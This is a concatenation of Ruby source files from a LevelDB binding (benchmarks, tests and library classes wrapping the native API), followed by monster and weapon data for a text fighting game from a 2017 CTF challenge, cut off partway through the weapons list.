DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/benchmark/leveldb-ruby.rb | benchmark/leveldb-ruby.rb | require 'leveldb' # be sure to a) don't add bundler/setup b) gem uninstall leveldb
require 'benchmark'
require 'minitest'
puts '## Please wait, I\'m generating 100mb of random data ...'
N = 10_240
SAMPLE = []
File.open('/dev/urandom', File::RDONLY || File::NONBLOCK || File::NOCTTY) do |f|
N.times { |i| SAMPLE << f.readpartial(5_120).unpack("H*")[0] }
end
system 'rm -rf /tmp/bench'
db = LevelDB::DB.new '/tmp/bench', compression: LevelDB::CompressionType::NoCompression
puts '## Without compression:'
Benchmark.bm do |x|
x.report('put') { N.times { |i| db.put(i.to_s, SAMPLE[i]) } }
x.report('get') { N.times { |i| raise unless db.get(i.to_s) == SAMPLE[i] } }
end
db.close
system 'rm -rf /tmp/bench'
db = LevelDB::DB.new '/tmp/bench', compression: LevelDB::CompressionType::SnappyCompression
puts '## With compression:'
Benchmark.bm do |x|
x.report('put') { N.times { |i| db.put(i.to_s, SAMPLE[i]) } }
x.report('get') { N.times { |i| raise unless db.get(i.to_s) == SAMPLE[i] } }
end
db.close
system 'rm -rf /tmp/bench'
db = LevelDB::DB.new '/tmp/bench', compression: LevelDB::CompressionType::SnappyCompression
puts '## With batch:'
Benchmark.bm do |x|
x.report 'put' do
db.batch do |batch|
N.times { |i| batch.put(i, SAMPLE[i]) }
end
end
end
db.close
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/benchmark/leak.rb | benchmark/leak.rb | require 'bundler/setup'
require 'leveldb'
require 'pp'
GC::Profiler.enable
db = LevelDB::DB.new("/tmp/leaktest")
p db.get 'fox'
10_000_000.times { db.get 'fox' }
counts = Hash.new(0)
ObjectSpace.each_object do |o|
counts[o.class] += 1
end
pp counts.sort_by { |k, v| v }
puts GC::Profiler.result
# puts GC::Profiler.raw_data
sleep
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/test/test_batch.rb | test/test_batch.rb | require_relative './helper'
class TestBatch < Minitest::Test
attr_reader :db
def setup
@db ||= LevelDB::DB.new './tmp/test-batch'
end
def teardown
db.close
db.destroy
end
def test_batch
batch = db.batch
('a'..'z').each do |l|
refute db[l]
batch.put l, l.upcase
end
batch.write!
('a'..'z').each do |l|
assert batch.delete l
assert_equal l.upcase, db[l]
end
batch.write!
('a'..'z').each { |l| refute db[l] }
end
def test_batch_block
('a'..'z').each { |l| refute db[l] }
db.batch do |batch|
('a'..'z').each { |l| batch.put l, l.upcase }
end
('a'..'z').each { |l| assert_equal l.upcase, db[l] }
end
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/test/test_snapshot.rb | test/test_snapshot.rb | require_relative './helper'
class TestSnapshot < Minitest::Test
attr_reader :db
def setup
@db ||= LevelDB::DB.new './tmp/test-snapshot'
end
def teardown
db.close
db.destroy
end
def test_snap
db.put 'a', 1
db.put 'b', 2
db.put 'c', 3
snap = db.snapshot
db.delete 'a'
refute db.get 'a'
snap.set!
assert_equal '1', db.get('a')
snap.reset!
refute db.get('a')
snap.set!
assert_equal '1', db.get('a')
end
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/test/test_db.rb | test/test_db.rb | require_relative './helper'
class TestBasic < Minitest::Test
attr_reader :db
def setup
@db ||= LevelDB::DB.new './tmp/test-db'
end
def teardown
db.close
db.destroy
end
def test_open
assert_raises(LevelDB::DB::Error) do
LevelDB::DB.new './doesnt-exist/foo'
end
assert db
end
def test_put
foo = db.put(:foo, :bar)
assert_equal 'bar', foo
foo = db[:foo] = 'bax'
assert_equal 'bax', foo
end
def test_read
db.put(:foo, :bar)
assert_equal 'bar', db.get(:foo)
db[:foo] = 'bax'
assert_equal 'bax', db[:foo]
end
def test_exists?
db[:foo] = :bar
assert db.exists?(:foo)
assert db.includes?(:foo)
assert db.contains?(:foo)
assert db.member?(:foo)
assert db.has_key?(:foo)
refute db.exists?(:foxy)
end
def test_fetch
db[:foo] = :bar
assert_equal 'bar', db.fetch(:foo)
assert_raises LevelDB::DB::KeyError do
db.fetch(:sten)
end
assert_equal 'smith', db.fetch(:sten, :smith)
assert_equal 'francine', db.fetch(:francine){ |key| key }
end
def test_delete
db[:foo] = 'bar'
res = db.delete(:foo)
assert_equal 'bar', res
res = db.delete(:foo)
assert_nil res
end
def test_close
d = LevelDB::DB.new './tmp/test-close'
assert d.close
assert_raises(LevelDB::DB::ClosedError){ d[:foo] }
end
def test_destroy
d = LevelDB::DB.new './tmp/test-close'
assert_raises(LevelDB::DB::Error){ d.destroy }
assert d.close
assert d.destroy
end
def test_stats
assert_match /Level/, db.stats
end
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/test/test_iterator.rb | test/test_iterator.rb | require_relative './helper'
class TestIterator < Minitest::Test
attr_reader :db
def setup
@db ||= LevelDB::DB.new './tmp/test-iterator'
end
def teardown
db.close
db.destroy
end
def test_next
db[:a] = :sten
db[:b] = :roger
iterator = db.each
assert_equal %w[a sten], iterator.next
assert_equal %w[b roger], iterator.next
assert db.each.next
refute iterator.next
end
def test_reverse_next
db[:a] = :sten
db[:b] = :roger
iterator = db.reverse_each
assert_equal %w[b roger], iterator.next
assert_equal %w[a sten], iterator.next
assert db.each.next
refute iterator.next
end
def test_range_next
('a'..'z').each { |l| db[l] = l.upcase }
range = db.range('b', 'd')
assert_equal %w[b B], range.next
assert_equal %w[c C], range.next
assert_equal %w[d D], range.next
refute range.next
end
def test_range_reverse_next
('a'..'z').each { |l| db[l] = l.upcase }
range = db.reverse_range('b', 'd')
assert_equal %w[d D], range.next
assert_equal %w[c C], range.next
assert_equal %w[b B], range.next
refute range.next
end
def test_keys
db[:a] = :sten
db[:b] = :roger
assert_equal %w[a b], db.keys
end
def test_values
db[:a] = :sten
db[:b] = :roger
assert_equal %w[sten roger], db.values
end
def test_block
db[:a] = :sten
db[:b] = :roger
keys, values = [], []
db.each { |k,v| keys.push(k); values.push(v) }
assert_equal %w[a b], keys
assert_equal %w[sten roger], values
end
def test_reverse_block
db[:a] = :sten
db[:b] = :roger
keys, values = [], []
db.reverse_each { |k,v| keys.push(k); values.push(v) }
assert_equal %w[b a], keys
assert_equal %w[roger sten], values
end
def test_range_block
('a'..'z').each { |l| db[l] = l.upcase }
keys, values = [], []
db.range('b', 'd') { |k,v| keys.push(k); values.push(v) }
assert_equal %w[b c d], keys
assert_equal %w[B C D], values
end
def test_range_reverse_block
('a'..'z').each { |l| db[l] = l.upcase }
keys, values = [], []
db.reverse_range('b', 'd') { |k,v| keys.push(k); values.push(v) }
assert_equal %w[d c b], keys
assert_equal %w[D C B], values
end
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/test/helper.rb | test/helper.rb | require 'bundler/setup'
require 'leveldb'
require 'minitest/autorun'
# Create a temp directory
Dir.mkdir './tmp' unless Dir.exist?('./tmp')
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb.rb | lib/leveldb.rb | require 'native'
require 'leveldb/db'
module LevelDB
C = Native
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/native.rb | lib/native.rb | require 'fiddler'
module LevelDB
module Native
include Fiddler
LIBPATHS.push File.expand_path('../../ext/leveldb', __FILE__)
prefix 'leveldb_'
dlload 'libleveldb'
cdef :open, VOIDP, options: VOIDP, name: VOIDP, errptr: VOIDP
cdef :put, VOID, db: VOIDP, options: VOIDP, key: VOIDP, keylen: ULONG, val: VOIDP, vallen: ULONG, errptr: VOIDP
cdef :get, VOIDP, db: VOIDP, options: VOIDP, key: VOIDP, keylen: ULONG, vallen: VOIDP, errptr: VOIDP
cdef :delete, VOID, db: VOIDP, options: VOIDP, key: VOIDP, keylen: ULONG, errptr: VOIDP
cdef :destroy_db, VOID, options: VOIDP, name: VOIDP, errptr: VOIDP
cdef :repair_db, VOID, options: VOIDP, name: VOIDP, errptr: VOIDP
cdef :release_snapshot, VOID, db: VOIDP, snapshot: VOIDP
cdef :create_snapshot, VOIDP, db: VOIDP
cdef :approximate_sizes, VOID, db: VOIDP, num_ranges: INT, range_start_key: VOIDP, range_start_key_len: VOIDP, range_limit_key: VOIDP, range_limit_key_len: VOIDP, sizes: VOIDP
cdef :close, VOID, db: VOIDP
cdef :property_value, VOIDP, db: VOIDP, propname: VOIDP
cdef :compact_range, VOID, db: VOIDP, start_key: VOIDP, start_key_len: ULONG, limit_key: VOIDP, limit_key_len: ULONG
cdef :free, VOID, ptr: VOIDP
cdef :create_iterator, VOIDP, db: VOIDP, options: VOIDP
cdef :iter_destroy, VOID, iterator: VOIDP
cdef :iter_seek_to_first, VOID, iterator: VOIDP
cdef :iter_seek, VOID, iterator: VOIDP, k: VOIDP, klen: ULONG
cdef :iter_prev, VOID, iterator: VOIDP
cdef :iter_key, VOIDP, iterator: VOIDP, klen: VOIDP
cdef :iter_value, VOIDP, iterator: VOIDP, vlen: VOIDP
cdef :iter_get_error, VOID, iterator: VOIDP, errptr: VOIDP
cdef :iter_valid, UCHAR, iterator: VOIDP
cdef :iter_next, VOID, iterator: VOIDP
cdef :iter_seek_to_last, VOID, iterator: VOIDP
cdef :writebatch_create, VOIDP
cdef :writebatch_clear, VOID, writebatch: VOIDP
cdef :writebatch_put, VOID, writebatch: VOIDP, key: VOIDP, klen: ULONG, val: VOIDP, vlen: ULONG
cdef :writebatch_delete, VOID, writebatch: VOIDP, key: VOIDP, klen: ULONG
cdef :writebatch_destroy, VOID, writebatch: VOIDP
cdef :writebatch_iterate, VOID, writebatch: VOIDP, state: VOIDP, put: VOIDP, deleted: VOIDP
cdef :write, VOID, db: VOIDP, options: VOIDP, batch: VOIDP, errptr: VOIDP
cdef :options_create, VOIDP
cdef :options_set_comparator, VOID, options: VOIDP, comparator: VOIDP
cdef :options_set_create_if_missing, VOID, options: VOIDP, u_char: UCHAR
cdef :options_set_paranoid_checks, VOID, options: VOIDP, u_char: UCHAR
cdef :options_set_info_log, VOID, options: VOIDP, logger: VOIDP
cdef :options_set_max_open_files, VOID, options: VOIDP, int: INT
cdef :options_set_block_size, VOID, options: VOIDP, u_long: ULONG
cdef :options_set_compression, VOID, options: VOIDP, int: INT
cdef :options_set_filter_policy, VOID, options: VOIDP, filterpolicy: VOIDP
cdef :options_set_env, VOID, options: VOIDP, env: VOIDP
cdef :options_set_cache, VOID, options: VOIDP, cache: VOIDP
cdef :options_set_error_if_exists, VOID, options: VOIDP, u_char: UCHAR
cdef :options_set_block_restart_interval, VOID, options: VOIDP, int: INT
cdef :options_set_write_buffer_size, VOID, options: VOIDP, u_long: ULONG
cdef :options_destroy, VOID, options: VOIDP
cdef :readoptions_create, VOIDP
cdef :readoptions_destroy, VOID, readoptions: VOIDP
cdef :readoptions_set_verify_checksums, VOID, readoptions: VOIDP, u_char: UCHAR
cdef :readoptions_set_snapshot, VOID, readoptions: VOIDP, snapshot: VOIDP
cdef :readoptions_set_fill_cache, VOID, readoptions: VOIDP, u_char: UCHAR
cdef :cache_create_lru, VOIDP, capacity: ULONG
cdef :cache_destroy, VOID, cache: VOIDP
cdef :create_default_env, VOIDP
cdef :env_destroy, VOID, env: VOIDP
cdef :comparator_create, VOIDP, state: VOIDP, destructor: VOIDP, compare: VOIDP, name: VOIDP
cdef :comparator_destroy, VOID, comparator: VOIDP
cdef :writeoptions_destroy, VOID, writeoptions: VOIDP
cdef :writeoptions_set_sync, VOID, writeoptions: VOIDP, u_char: UCHAR
cdef :writeoptions_create, VOIDP
cdef :filterpolicy_create_bloom, VOIDP, bits_per_key: INT
cdef :filterpolicy_create, VOIDP, state: VOIDP, destructor: VOIDP, create_filter: VOIDP, key_may_match: VOIDP, name: VOIDP
cdef :filterpolicy_destroy, VOID, filterpolicy: VOIDP
cdef :minor_version, INT
cdef :major_version, INT
end
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb/batch.rb | lib/leveldb/batch.rb | module LevelDB
class Batch
class Error < StandardError; end
def initialize(db, write_opts)
@_db = db
@_write_opts = write_opts
@_err = C::Pointer.malloc(C::SIZEOF_VOIDP)
@_err.free = C[:free]
@_batch = C.writebatch_create
end
def []=(key, val)
key, val = key.to_s, val.to_s
C.writebatch_put(@_batch, key, key.size, val, val.size)
val
end
alias put []=
def delete(key)
key = key.to_s
C.writebatch_delete(@_batch, key, key.size)
key
end
# def clear
# C.writebatch_clear(@_batch)
# true
# end
# alias clear! clear
def write!
C.write(@_db, @_write_opts, @_batch, @_err)
raise Error, error_message if errors?
true
end
def errors?
return unless @_err
!@_err.ptr.null?
end
def error_message
return unless errors?
@_err.ptr.to_s
ensure
if errors?
@_err = C::Pointer.malloc(C::SIZEOF_VOIDP)
@_err.free = C[:free]
end
end
alias clear_errors! error_message
def inspect
"#<LevelDB::Batch:#{'0x%x' % object_id}>"
end
alias to_s inspect
end
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb/version.rb | lib/leveldb/version.rb | module LevelDB
VERSION = '0.1.9'
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb/db.rb | lib/leveldb/db.rb | require 'thread'
require 'leveldb/iterator'
require 'leveldb/batch'
require 'leveldb/snapshot'
module LevelDB
class DB
include Enumerable
class Error < StandardError; end
class KeyError < StandardError; end
class ClosedError < StandardError; end
attr_reader :path, :options
@@mutex = Mutex.new
DEFAULT = {
create_if_missing: true,
error_if_exists: false,
paranoid_checks: false,
write_buffer_size: 4 << 20,
block_size: 4096,
max_open_files: 200,
block_cache_size: 8 * (2 << 20),
block_restart_interval: 16,
compression: false,
verify_checksums: false,
fill_cache: true
}
def initialize(path, options={})
new!(path, options)
end
def new!(path, options={})
@_db_opts = C.options_create
@_write_opts = C.writeoptions_create
@_read_opts = C.readoptions_create
@_read_len = C.value('size_t')
@options = DEFAULT.merge(options)
@_cache = C.cache_create_lru(@options[:block_cache_size])
C.readoptions_set_verify_checksums(@_read_opts, @options[:verify_checksums] ? 1 : 0)
C.readoptions_set_fill_cache(@_read_opts, @options[:fill_cache] ? 1 : 0)
C.options_set_create_if_missing(@_db_opts, @options[:create_if_missing] ? 1 : 0)
C.options_set_error_if_exists(@_db_opts, @options[:error_if_exists] ? 1 : 0)
C.options_set_paranoid_checks(@_db_opts, @options[:paranoid_checks] ? 1 : 0)
C.options_set_write_buffer_size(@_db_opts, @options[:write_buffer_size])
C.options_set_block_size(@_db_opts, @options[:block_size])
C.options_set_cache(@_db_opts, @_cache)
C.options_set_max_open_files(@_db_opts, @options[:max_open_files])
C.options_set_block_restart_interval(@_db_opts, @options[:block_restart_interval])
C.options_set_compression(@_db_opts, @options[:compression] ? 1 : 0)
if @options[:bloom_filter_bits_per_key]
C.options_set_filter_policy(@_db_opts, C.filterpolicy_create_bloom(@options[:bloom_filter_bits_per_key]))
end
@_db_opts.free = @_write_opts.free = @_read_opts.free = C[:options_destroy]
@path = path
@_err = C::Pointer.malloc(C::SIZEOF_VOIDP)
@_err.free = @_read_len.to_ptr.free = C[:free]
@_db = C.open(@_db_opts, @path, @_err)
@_db.free = C[:close]
raise Error, error_message if errors?
end
private :new!
def reopen
close unless closed?
@@mutex.synchronize { @_closed = false }
new!(@path, @options)
end
alias reopen! reopen
def []=(key, val)
raise ClosedError if closed?
key = key.to_s
val = val.to_s
C.put(@_db, @_write_opts, key, key.bytesize, val, val.bytesize, @_err)
raise Error, error_message if errors?
val
end
alias put []=
def [](key)
raise ClosedError if closed?
key = key.to_s
val = C.get(@_db, @_read_opts, key, key.bytesize, @_read_len, @_err)
val.free = C[:free]
raise Error, error_message if errors?
@_read_len.value == 0 ? nil : val.to_s(@_read_len.value).clone
end
alias get []
def delete(key)
raise ClosedError if closed?
key = key.to_s
val = get(key)
C.delete(@_db, @_write_opts, key, key.bytesize, @_err)
raise Error, error_message if errors?
val
end
def exists?(key)
get(key) != nil
end
alias includes? exists?
alias contains? exists?
alias member? exists?
alias has_key? exists?
def fetch(key, default=nil, &block)
val = get(key)
return val if val
raise KeyError if default.nil? && !block_given?
val = block_given? ? block[key] : default
put(key, val)
end
def snapshot
Snapshot.new(@_db, @_read_opts)
end
def batch(&block)
raise ClosedError if closed?
batch = Batch.new(@_db, @_write_opts)
if block_given?
block[batch]
batch.write!
else
batch
end
end
def close
raise ClosedError if closed?
# Prevent double free, I can't free it since
# after this call we can still `destroy` it.
@_db.free = nil
C.close(@_db)
@@mutex.synchronize { @_closed = true }
raise Error, error_message if errors?
true
end
def each(&block)
raise ClosedError if closed?
iterator = Iterator.new(@_db, @_read_opts, @_read_len)
iterator.each(&block)
iterator
end
def reverse_each(&block)
each.reverse_each(&block)
end
def range(from, to, &block)
each.range(from, to, &block)
end
def reverse_range(from, to, &block)
reverse_each.range(from, to, &block)
end
def keys
map { |k, v| k }
end
def values
map { |k, v| v }
end
def closed?
@@mutex.synchronize { @_closed }
end
def destroy
C.destroy_db(@_db_opts, @path, @_err)
raise Error, error_message if errors?
true
end
def destroy!
close && destroy && reopen
end
alias clear! destroy!
def read_property(name)
raise ClosedError if closed?
C.property_value(@_db, name).to_s
end
def stats
read_property('leveldb.stats')
end
def errors?
return unless @_err
!@_err.ptr.null?
end
def error_message
return unless errors?
@_err.ptr.to_s
ensure
if errors?
@_err = C::Pointer.malloc(C::SIZEOF_VOIDP)
@_err.free = C[:free]
end
end
alias clear_errors! error_message
def inspect
"#<LevelDB::DB:#{'0x%x' % object_id}>"
end
alias to_s inspect
end
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb/iterator.rb | lib/leveldb/iterator.rb | module LevelDB
class Iterator
def initialize(db, read_opts, read_len, reverse=false)
@_db = db
@_read_opts = read_opts
@_read_len = read_len
@_reverse = reverse
@_err = C::Pointer.malloc(C::SIZEOF_VOIDP)
@_err.free = C[:free]
@_iterator = C.create_iterator(@_db, @_read_opts)
# @_iterator.free = C[:iter_destroy]
rewind
end
def rewind
if reverse?
C.iter_seek_to_last(@_iterator)
else
C.iter_seek_to_first(@_iterator)
end
end
def reverse_each(&block)
@_reverse = !@_reverse
rewind
each(&block)
end
def each(&block)
return self unless block_given?
if current = self.next
block[*current]
end while valid?
@_range = nil
end
def range(from, to, &block)
@_range = [from.to_s, to.to_s].sort
@_range = @_range.reverse if reverse?
C.iter_seek(@_iterator, @_range.first, @_range.first.bytesize) if !reverse?
each(&block)
end
def next
while valid? && !in_range?
move_next
end if range?
key, val = current
return unless key
[key, val]
ensure
move_next
end
def peek
self.next
ensure
move_prev
end
def valid?
C.iter_valid(@_iterator) == 1
end
def reverse?
@_reverse
end
def range?
!!@_range
end
def inspect
"#<LevelDB::Iterator:#{'0x%x' % object_id}>"
end
alias to_s inspect
private
def current
return unless valid?
key = C.iter_key(@_iterator, @_read_len).to_s(@_read_len.value)
val = C.iter_value(@_iterator, @_read_len).to_s(@_read_len.value)
[key, val]
end
def in_range?
reverse? ? (current[0] <= @_range[0] && current[0] >= @_range[1]) :
(current[0] >= @_range[0] && current[0] <= @_range[1])
end
def move_next
return unless valid?
if reverse?
C.iter_prev(@_iterator)
else
C.iter_next(@_iterator)
end
end
def move_prev
return unless valid?
if reverse?
C.iter_next(@_iterator)
else
C.iter_prev(@_iterator)
end
end
def errors?
C.iter_get_error(@_iterator, @_err)
!@_err.ptr.null?
end
def error_message
return unless errors?
@_err.ptr.to_s
ensure
if errors?
@_err = C::Pointer.malloc(C::SIZEOF_VOIDP)
@_err.free = C[:free]
end
end
alias clear_errors! error_message
end
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb/snapshot.rb | lib/leveldb/snapshot.rb | module LevelDB
class Snapshot
def initialize(db, read_opts)
@_db = db
@_read_opts = read_opts
@_snap = C.create_snapshot(@_db)
end
def set!
C.readoptions_set_snapshot(@_read_opts, @_snap)
end
def reset!
C.readoptions_set_snapshot(@_read_opts, nil)
end
def inspect
"#<LevelDB::Snapshot:#{'0x%x' % object_id}>"
end
alias to_s inspect
end
end
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/misc/beez-fight/challenge/src/monsters.rb | misc/beez-fight/challenge/src/monsters.rb | MONSTERS = [
{
:name => "Angry Dog",
:weapons => [
{ :weapon_name => "Claws", :damage => 10..20 },
{ :weapon_name => "Teeth", :damage => 15..30 },
],
:commonness => 30,
:appears_in => [:alley, :forest],
:health => (5..15),
},
{
:name => "Archer, in rampage mode",
:weapons => [
{ :weapon_name => "Gun", :damage => 50..75 },
{ :weapon_name => "Fists", :damage => 15..30 },
],
:commonness => 10,
:appears_in => [:alley, :cinema, :club],
:health => (40..60),
},
{
:name => "Some Dudebro",
:weapons => [
{ :weapon_name => "His Face", :damage => 20..35 },
],
:commonness => 10,
:appears_in => [:club, :gym],
:health => (10..20),
},
{
:name => "Mafia Hitman",
:weapons => [
{ :weapon_name => "Gun", :damage => 50..75 },
{ :weapon_name => "Garrot", :damage => 200..250 },
],
:commonness => 1,
:appears_in => [:alley, :street, :store],
:health => (20..30),
},
{
:name => "Dragon",
:weapons => [
{ :weapon_name => "Claws", :damage => 50..75 },
{ :weapon_name => "Teeth", :damage => 50..150 },
{ :weapon_name => "Fire", :damage => 100..150 },
],
:commonness => 3,
:appears_in => [:forest],
:health => (100..150),
},
{
:name => "a ventriloquist and his puppet",
:weapons => [
{ :weapon_name => "Hand (with puppet)", :damage => 5..10 },
{ :weapon_name => "Hand (without puppet)", :damage => 5..30 },
],
:commonness => 10,
:appears_in => [:cinema],
:health => (10..15),
},
{
:name => "Troll",
:weapons => [
{ :weapon_name => "Claws", :damage => 30..50 },
{ :weapon_name => "Teeth", :damage => 35..50 },
{ :weapon_name => "Wild Rainbow Hair", :damage => 15..50 },
],
:commonness => 5,
:appears_in => [:forest],
:health => (60..70),
},
{
:name => "Goomba",
:weapons => [
{ :weapon_name => "Touching", :damage => 10..20 },
{ :weapon_name => "Teeth", :damage => 15..30 },
],
:commonness => 20,
:appears_in => [:forest],
:health => (2..5),
},
{
:name => "Rabbit, but like a big one",
:weapons => [
{ :weapon_name => "Claws", :damage => 10..20 },
{ :weapon_name => "Teeth", :damage => 15..30 },
],
:commonness => 10,
:appears_in => [:forest],
:health => (20..30),
},
{
:name => "The Beast",
:weapons => [
{ :weapon_name => "Claws", :damage => 12..30 },
{ :weapon_name => "Teeth", :damage => 15..25 },
],
:commonness => 3,
:appears_in => [:forest],
:health => (50..60),
},
{
:name => "Taxi With Nothing To Lose",
:weapons => [
{ :weapon_name => "Tires", :damage => 10..20 },
{ :weapon_name => "Tailpipe", :damage => 10..25 },
{ :weapon_name => "Door", :damage => 25..40 },
],
:commonness => 5,
:appears_in => [:street, :alley],
:health => (50..60),
},
{
:name => "Parashooters",
:weapons => [
{ :weapon_name => "Parachuting", :damage => 10..20 },
{ :weapon_name => "Shooting", :damage => 15..30 },
],
:commonness => 10,
:appears_in => [:street],
:health => (1..50),
},
{
:name => "Lizardman in Human Form",
:weapons => [
{ :weapon_name => "Claws", :damage => 10..20 },
{ :weapon_name => "Teeth", :damage => 15..30 },
{ :weapon_name => "Politics", :damage => 25..35 },
],
:commonness => 5,
:appears_in => [:street, :alley, :cinema, :club],
:health => (5..20),
},
{
:name => "Illumanati Agent",
:weapons => [
{ :weapon_name => "Damaging Rumours", :damage => 5..30 },
],
:commonness => 10,
:appears_in => [:street, :alley, :cinema, :club],
:health => (10..25),
},
{
:name => "Talkshow Host",
:weapons => [
{ :weapon_name => "Thrown Chair", :damage => 10..40 },
{ :weapon_name => "Rabid Audience", :damage => 15..50 },
],
:commonness => 4,
:appears_in => [:cinema],
:health => (3..7),
},
{
:name => "Vampire",
:weapons => [
{ :weapon_name => "Claws", :damage => 25..35 },
{ :weapon_name => "Teeth", :damage => 35..67 },
],
:commonness => 3,
:appears_in => [:cinema],
:health => (30..35),
},
{
:name => "Hunter",
:weapons => [
{ :weapon_name => "Gun", :damage => 10..20 },
],
:commonness => 10,
:appears_in => [:forest],
:health => (5..20),
},
{
:name => "Agent of Bram Stoker",
:weapons => [
{ :weapon_name => "Book Deals", :damage => 1..2 },
],
:commonness => 1,
:appears_in => [:alley, :cinema],
:health => (12..18),
},
{
:name => "Talkshow Guest",
:weapons => [
{ :weapon_name => "Claws", :damage => 14..20 },
{ :weapon_name => "Teeth", :damage => 18..28 },
{ :weapon_name => "Chair", :damage => 40..45 },
],
:commonness => 5,
:appears_in => [:cinema],
:health => (1..5),
},
{
:name => "Guy Using Phone In Movie Theatre",
:weapons => [
{ :weapon_name => "Piercing Glare", :damage => 30..35 },
{ :weapon_name => "Thrown Phone", :damage => 15..30 },
],
:commonness => 6,
:appears_in => [:cinema],
:health => (1..5),
},
{
:name => "Yoshi's evil cousin (the %s one)" % ['red', 'green', 'orange'].sample,
:weapons => [
{ :weapon_name => "Tongue", :damage => 5..10 },
],
:commonness => 5,
:appears_in => [:alley, :forest],
:health => (5..10),
},
{
:name => "Twins Who Only Kind of Look Alike",
:weapons => [
{ :weapon_name => "The Left Twin (Or Maybe the Right)", :damage => 5..10 },
{ :weapon_name => "The Right Twin (Or Maybe the Left)", :damage => 5..10 },
],
:commonness => 5,
:appears_in => [:alley, :street, :cinema, :club, :gym],
:health => (10..15),
},
{
:name => "F-Society agent",
:weapons => [
{ :weapon_name => "Hacking", :damage => 15..30 },
],
:commonness => 2,
:appears_in => [:alley, :store, :cinema, :club, :forest, :gym],
:health => (15..20),
},
{
:name => "E-Corp Agent",
:weapons => [
{ :weapon_name => "Money", :damage => 15..30 },
],
:commonness => 2,
:appears_in => [:alley, :store, :cinema, :club, :forest, :gym],
:health => (15..20),
},
{
:name => "Bowser",
:weapons => [
{ :weapon_name => "Claws", :damage => 10..20 },
{ :weapon_name => "Teeth", :damage => 15..30 },
{ :weapon_name => "Spikes", :damage => 25..30 },
],
:commonness => 2,
:appears_in => [:alley, :forest],
:health => (70..80),
},
{
:name => "Taupe Dragon",
:weapons => [
{ :weapon_name => "Claws", :damage => 10..20 },
{ :weapon_name => "Teeth", :damage => 15..30 },
],
:commonness => 3,
:appears_in => [:forest],
:health => (100..120),
},
{
:name => "Doctor",
:weapons => [
# Note: If you change this, I suggest trying to make sure that the damage
# is balanced, so on average the player won't lose anything
{ :weapon_name => "Painkillers", :damage => [-1] },
{ :weapon_name => "Medicine", :damage => [-2] },
{ :weapon_name => "Bedside Manner", :damage => 5..10 },
{ :weapon_name => "Medical bills", :damage => 10..15 },
],
:commonness => 20,
:appears_in => [:alley, :gym],
:health => (5..10),
},
]
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/misc/beez-fight/challenge/src/items.rb | misc/beez-fight/challenge/src/items.rb | WEAPONS = [
{
:type => :weapon,
:name => "stick",
:value => 1,
:description => "It's a stick",
:commonness => 100,
:damage => 0..5,
},
{
:type => :weapon,
:name => "an umbrella",
:value => 10,
:description => "It's not very sharp!",
:commonness => 70,
:damage => 5..10,
},
{
:type => :weapon,
:name => "golf club",
:value => 20,
:description => "This looks like it'll swing pretty hard!",
:commonness => 50,
:damage => 10..20,
},
{
:type => :weapon,
:name => "chainsaw",
:value => 30,
:description => "Be careful!",
:commonness => 30,
:damage => 15..25,
},
{
:type => :weapon,
:name => "lawnmower",
:value => 100,
:description => "This probably won't make a very effective weapon",
:commonness => 1,
